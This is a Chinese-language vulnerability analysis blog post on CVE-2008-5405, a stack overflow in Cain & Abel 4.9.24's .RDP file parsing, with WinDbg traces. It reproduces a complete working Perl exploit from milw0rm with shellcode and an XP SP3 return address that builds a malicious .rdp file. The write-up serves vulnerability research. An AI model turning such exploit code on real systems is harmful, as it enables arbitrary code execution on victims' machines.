[CVE-2008-5405]Cain and Abel 4.9.24 RDP 缓冲区溢出漏洞

作者:k0shl 转载请注明出处:https://whereisk0shl.top


漏洞说明


软件下载:
这个版本的Cain版本在网上找不到了,大家可以去google试试...

PoC:

#!/usr/bin/perl
#
# Cain & Abel <= v4.9.24 .RDP Stack Overflow Exploit
# Exploit by SkD (skdrat@hotmail.com)
# -----------------------------------------------
#
# Nothing much to say about this one. This works on
# an updated Windows XP SP3. On Vista this exploit is way easier
# the more challenging one was on XP, and here it is.
# Enjoy :). Also remember if you want to put your own shellcode
# there are a few character restrictions and using Alpha2 or
# Alpha Numerical won't work at all.
# To open the .RDP file in Cain & Abel, click the
# "Remote Password Decoder Dialog" icon.
# Credits to Encrypt3d.M!nd.
# {Author has no responsibility over the damage you do with this!}
 
use strict; use warnings;
 
# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x19".
"\xc5\xd8\x59\x83\xeb\xfc\xe2\xf4\xe5\x2d\x9c\x59\x19\xc5\x53\x1c".
"\x25\x4e\xa4\x5c\x61\xc4\x37\xd2\x56\xdd\x53\x06\x39\xc4\x33\x10".
"\x92\xf1\x53\x58\xf7\xf4\x18\xc0\xb5\x41\x18\x2d\x1e\x04\x12\x54".
"\x18\x07\x33\xad\x22\x91\xfc\x5d\x6c\x20\x53\x06\x3d\xc4\x33\x3f".
"\x92\xc9\x93\xd2\x46\xd9\xd9\xb2\x92\xd9\x53\x58\xf2\x4c\x84\x7d".
"\x1d\x06\xe9\x99\x7d\x4e\x98\x69\x9c\x05\xa0\x55\x92\x85\xd4\xd2".
"\x69\xd9\x75\xd2\x71\xcd\x33\x50\x92\x45\x68\x59\x19\xc5\x53\x31".
"\x25\x9a\xe9\xaf\x79\x93\x51\xa1\x9a\x05\xa3\x09\x71\x35\x52\x5d".
"\x46\xad\x40\xa7\x93\xcb\x8f\xa6\xfe\xa6\xb9\x35\x7a\xeb\xbd\x21".
"\x7c\xc5\xd8\x59";
my $addr = "\xb5\xb5\xfd\x7f";
my $overflow = "\x41" x 8206 ;
my $overflow2 = "\x41" x 255 ;
my $eip = "\xd7\x30\x9d\x7c"; #   FOR WINDOWS XP SP3:  0x7c9d30d7       jmp esp (shell32.dll)
 
open(my $rdp, "> s.rdp");
print $rdp $overflow.$eip.$addr.$overflow2.$shellcode;
close($rdp);
 
# milw0rm.com [2008-11-30]

在linux下运行perl生成一个rdp文件,之后用Cain打开


漏洞复现


这个远程溢出漏洞分析很不容易,因为IDA没法识别这个Cain,可能毕竟这是一个黑客工具,防护做的比较好,所以我是直接从Windbg强行逆向分析的,挺累的,不多说了,这个漏洞的原因是Cain在加载rdp文件进行解密分析的时候,由于对加载的字符串没有做长度检查而是直接拷贝,从而导致了某个关键指针被覆盖,导致后续执行SetWindowText函数的时候将覆盖的指针直接传入,从而导致了任意代码执行。

首先打开rdp文件,触发漏洞,Cain崩溃,附加Windbg调试器。

(4f0.6d8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000000 ecx=7c832668 edx=41414142 esi=0017df80 edi=00000001
eip=77d3c1f9 esp=0012bccc ebp=0012bccc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\windows\system32
\USER32.dll - 
USER32!IsCharLowerA+0x970:
77d3c1f9 8a08            mov     cl,byte ptr [eax]          ds:0023:41414141=??

可以看到此时eax是一个无效的地址,也就是引用了无效指针,接下来按G直接执行。

0:000> g
(7cc.7c4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9232bc esi=00000000 edi=00000000
eip=41414141 esp=0012b8d0 ebp=0012b8f0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
41414141 ??              ???

应该是触发了SEH,到达了漏洞位置,通过kb看一下堆栈调用情况。

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0012bccc 77d37688 41414141 00000001 00a15670 USER32!IsCharLowerA+0x970
0012bcf0 77d37625 0017df80 41414141 0012bdd4 USER32!IsCharUpperA+0x60a
0012bd28 77d32ff4 00a15670 0000000c 00000000 USER32!IsCharUpperA+0x5a7
0012bd4c 77d3b440 00a15670 0000000c 00000000 USER32!DrawFrame+0x630
0012bd6c 77d18734 00030682 0000000c 00000000 USER32!DialogBoxParamA+0x2fc
0012bd98 77d18816 77d3b3ec 00030682 0000000c USER32!GetDC+0x6d
0012be00 77d2927b 00000000 77d3b3ec 00030682 USER32!GetDC+0x14f
0012be3c 77d2f598 00a15670 00a222d8 00000000 USER32!GetParent+0x16c
*** WARNING: Unable to verify checksum for C:\Documents and Settings\Administrator\桌面
\cain_ha\Cain4.9\svchost.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Documents and 
Settings\Administrator\桌面\cain_ha\Cain4.9\svchost.exe
0012be5c 005ba4f5 00030682 41414141 0046d442 USER32!SetWindowTextA+0x2d
0012be68 0046d442 41414141 0012f680 0012f680 svchost+0x1ba4f5
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\windows\system32
\kernel32.dll - 
0012bea4 7c809414 0000007e 00000000 0012c338 svchost+0x6d442

这里我们关系005b4f5前的调用,可以看到这个地址的调用,和之前0046d442位置调用第一个参数已经是畸形字符串了,那么这里参数可能是一处指针,而这个再往前就是系统调用了,那么就从这里入手,回溯分析。


漏洞分析


回溯过程不多说了,就是在0046d442位置下断点,通过回溯发现漏洞就出在0046d442地址的call调用所处的函数中,通过Windbg找到函数入口点,下断点开始跟踪调试。PS:由于无法用IDA跟踪,所以没法通过伪代码来描述,全程是汇编描述。

0:001> bp 0046d1e0
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=0012f670 edx=02bd7548 esi=0012f670 edi=0012f670
eip=0046d1e0 esp=0012eebc ebp=0012f0e0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
svchost+0x6d1e0:
0046d1e0 6aff            push    0FFFFFFFFh

下断点后,打开rdp文件,到达函数入口点,开始单步跟踪。

0:000> dd esp+3060
0012eeb4  005e2e7d 00000003 0046d18d 02bd7548
0012eec4  00600298 02bd7548 02bd7548 0062cd10
0012eed4  00000001 00000000 00000000 00000000
0012eee4  00000001 00000000 00000000 00000000
0012eef4  00000000 77d3e577 00000000 00000000
0012ef04  00000000 00000000 00007004 00000000
0012ef14  00000000 00000000 00000000 00000000
0012ef24  00000000 00000000 0000004c 00200696
0:000> p
eax=00000000 ebx=00000000 ecx=0012ceb0 edx=02bd6080 esi=0012f670 edi=0012eeb0
eip=0046d28d esp=0012be4c ebp=02bd6060 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
svchost+0x6d28d:
0046d28d e8f8f11100      call    svchost+0x18c48a (0058c48a)
0:000> p
eax=0012ceb0 ebx=00000000 ecx=02bd6060 edx=02bd6080 esi=0012f670 edi=0012eeb0
eip=0046d292 esp=0012be4c ebp=02bd6060 iopl=0         nv up ei ng nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000296
svchost+0x6d292:
0046d292 83c418          add     esp,18h
0:000> dd esp+3060
0012eeac  41414141 41414141 41414141 41414141
0012eebc  41414141 41414141 41414141 41414141
0012eecc  41414141 41414141 41414141 41414141
0012eedc  41414141 41414141 41414141 41414141
0012eeec  41414141 41414141 41414141 41414141
0012eefc  41414141 41414141 41414141 41414141
0012ef0c  41414141 41414141 41414141 41414141
0012ef1c  41414141 41414141 41414141 41414141

单步跟踪时,发现在0046d28d位置有一处call调用,在这个call调用步过之后,esp+3060这个位置会被大量的41414141覆盖,为什么是这个位置是在我回溯的过程中发现的,后续会讲到。

那么0046d28d位置的call调用就是引发漏洞的一处关键,call之前该位置还是正常的情况。

接下来在这个call调用下断点,重新开始,到达这里,步进函数。

Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=0012ceb4 edx=02bd60a0 esi=0012f674 edi=0012eeb4
eip=0046d28d esp=0012be50 ebp=02bd6080 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
svchost+0x6d28d:
0046d28d e8f8f11100      call    svchost+0x18c48a (0058c48a)
0:000> t
eax=00000000 ebx=00000000 ecx=0012ceb4 edx=02bd60a0 esi=0012f674 edi=0012eeb4
eip=0058c48a esp=0012be4c ebp=02bd6080 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
svchost+0x18c48a:
0058c48a 55              push    ebp
0:000> dd esp+3060
0012eeac  00000000 00000000 0012f0cc 005e2e7d
0012eebc  00000003 0046d18d 02bd7568 00600298
0012eecc  02bd7568 02bd7568 0062cd10 00000001
0012eedc  00000000 00000000 00000000 00000001
0012eeec  00000000 00000000 00000000 00000000
0012eefc  77d3e577 00000000 00000000 00000000
0012ef0c  00000000 00007004 00000000 00000000
0012ef1c  00000000 00000000 00000000 00000000

步入后一切正常,接下来在函数中单步调试,会发现到达一处循环。

0:000> p
eax=00004141 ebx=00000000 ecx=02bd6080 edx=00000009 esi=0012ceb6 edi=0012ceb4
eip=0058c4bd esp=0012be40 ebp=0012be48 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297
svchost+0x18c4bd:
0058c4bd 740d            je      svchost+0x18c4cc (0058c4cc)             [br=0]
0:000> p
eax=00004141 ebx=00000000 ecx=02bd6080 edx=00000009 esi=0012ceb6 edi=0012ceb4
eip=0058c4bf esp=0012be40 ebp=0012be48 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297
svchost+0x18c4bf:
0058c4bf 668906          mov     word ptr [esi],ax        ds:0023:0012ceb6=0000
0:000> p
eax=00004141 ebx=00000000 ecx=02bd6080 edx=00000009 esi=0012ceb6 edi=0012ceb4
eip=0058c4c2 esp=0012be40 ebp=0012be48 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297
svchost+0x18c4c2:
0058c4c2 46              inc     esi
0:000> p
eax=00004141 ebx=00000000 ecx=02bd6080 edx=00000009 esi=0012ceb7 edi=0012ceb4
eip=0058c4c3 esp=0012be40 ebp=0012be48 iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207
svchost+0x18c4c3:
0058c4c3 46              inc     esi
0:000> p
eax=00004141 ebx=00000000 ecx=02bd6080 edx=00000009 esi=0012ceb8 edi=0012ceb4
eip=0058c4c4 esp=0012be40 ebp=0012be48 iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207
svchost+0x18c4c4:
0058c4c4 663d0a00        cmp     ax,0Ah
0:000> p
eax=00004141 ebx=00000000 ecx=02bd6080 edx=00000009 esi=0012ceb8 edi=0012ceb4
eip=0058c4c8 esp=0012be40 ebp=0012be48 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
svchost+0x18c4c8:
0058c4c8 740a            je      svchost+0x18c4d4 (0058c4d4)             [br=0]
0:000> p
eax=00004141 ebx=00000000 ecx=02bd6080 edx=00000009 esi=0012ceb8 edi=0012ceb4
eip=0058c4ca esp=0012be40 ebp=0012be48 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
svchost+0x18c4ca:
0058c4ca ebdb            jmp     svchost+0x18c4a7 (0058c4a7)
0:000> p
eax=00004141 ebx=00000000 ecx=02bd6080 edx=00000009 esi=0012ceb8 edi=0012ceb4
eip=0058c4a7 esp=0012be40 ebp=0012be48 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
svchost+0x18c4a7:
0058c4a7 ff4d0c          dec     dword ptr [ebp+0Ch]  ss:0023:0012be54=00001ffe
0:000> p
eax=00004141 ebx=00000000 ecx=02bd6080 edx=00000009 esi=0012ceb8 edi=0012ceb4
eip=0058c4aa esp=0012be40 ebp=0012be48 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
svchost+0x18c4aa:
0058c4aa 7428            je      svchost+0x18c4d4 (0058c4d4)             [br=0]

这处循环要关注刚开始的mov [esi],ax的操作,同时看一下ax的内容,ax就是eax的低地址位置,观察循环可以看到这里是4141,也就是说,是rdp文件的畸形内容,这处循环是一处拷贝,也就是这里拷贝过程,没有控制长度,之前也没有检查,导致了超长串覆盖。

随后执行完毕后,esp+3060已经被覆盖,通过poc也可以知道,长度至少是8600字节,一定是会覆盖上的。

函数返回后继续单步跟踪。

Breakpoint 1 hit
eax=00000000 ebx=00000000 ecx=00685428 edx=02bd6080 esi=0012f670 edi=0012eeb0
eip=0046d424 esp=0012be60 ebp=02bd6060 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
svchost+0x6d424:
0046d424 8b8c2460300000  mov     ecx,dword ptr [esp+3060h] ss:0023:0012eec0=41414141
0:000> p
eax=00000000 ebx=00000000 ecx=41414141 edx=02bd6080 esi=0012f670 edi=0012eeb0
eip=0046d42b esp=0012be60 ebp=02bd6060 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
svchost+0x6d42b:
0046d42b 83c404          add     esp,4

到达0046d424的时候会发现,这里执行了一处指针传递,将esp+3060交给ecx保存,步过后可以看到ecx已经变成了41414141,那么接下来,看一下windbg的执行过程。

0046d424 8b8c2460300000  mov     ecx,dword ptr [esp+3060h]
0046d42b 83c404          add     esp,4
0046d42e 51              push    ecx
0046d42f 6835040000      push    435h
0046d434 8bce            mov     ecx,esi
0046d436 e856cf1400      call    svchost+0x1ba391 (005ba391)
0046d43b 8bc8            mov     ecx,eax
0046d43d e89fd01400      call    svchost+0x1ba4e1 (005ba4e1)

可以看到之后,ecx会作为参数压栈,执行0046d436的call调用,随后到达漏洞函数0046d43d,到达这里时,传入的第一个参数指针已经是问题指针了。

0:000> bp 0046d43d
0:000> g
Breakpoint 2 hit
eax=0272b4f8 ebx=00000000 ecx=0272b4f8 edx=02bd5d78 esi=0012f670 edi=0012eeb0
eip=0046d43d esp=0012be60 ebp=02bd6060 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
svchost+0x6d43d:
0046d43d e89fd01400      call    svchost+0x1ba4e1 (005ba4e1)
0:000> dd esp
0012be60  41414141 0012f670 0012f670 0012f0e0
0012be70  00000001 00684288 00684288 00684288
0012be80  00684288 00000000 00000000 0012f670
0012be90  0012bec0 7c92f63c 7c92f641 c0000135
0012bea0  00000000 001b7b40 0012be9c 00000042

可以看到esp第一个值已经是41414141,接下来进入函数处理。

0:000> p
eax=00000000 ebx=00000000 ecx=0272b4f8 edx=02bd5d78 esi=0012f670 edi=0012eeb0
eip=005ba4e8 esp=0012be5c ebp=02bd6060 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
svchost+0x1ba4e8:
005ba4e8 ff742404        push    dword ptr [esp+4]    ss:0023:0012be60=41414141
0:000> p
eax=00000000 ebx=00000000 ecx=0272b4f8 edx=02bd5d78 esi=0012f670 edi=0012eeb0
eip=005ba4ec esp=0012be58 ebp=02bd6060 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
svchost+0x1ba4ec:
005ba4ec ff711c          push    dword ptr [ecx+1Ch]  ds:0023:0272b514=001505e4
0:000> p
eax=00000000 ebx=00000000 ecx=0272b4f8 edx=02bd5d78 esi=0012f670 edi=0012eeb0
eip=005ba4ef esp=0012be54 ebp=02bd6060 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
svchost+0x1ba4ef:
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\windows\system32
\USER32.dll - 
005ba4ef ff15f0c65f00    call    dword ptr [svchost+0x1fc6f0 (005fc6f0)] ds:0023:005fc6f0={USER32!
SetWindowTextA (77d2f56b)}
0:000> p
(11c.45c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000000 ecx=7c832668 edx=41414142 esi=0017df78 edi=00000001
eip=77d3c1f9 esp=0012bcbc ebp=0012bcbc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
USER32!IsCharLowerA+0x970:
77d3c1f9 8a08            mov     cl,byte ptr [eax]          ds:0023:41414141=??

可以看到,在函数内部005ba4ef地址调用了系统函数,而这个系统函数的第二个参数,是41414141,因此,引发了漏洞,导致程序进入SEH异常处理,通过SEH指针覆盖,导致任意代码执行漏洞。

Comments
Write a Comment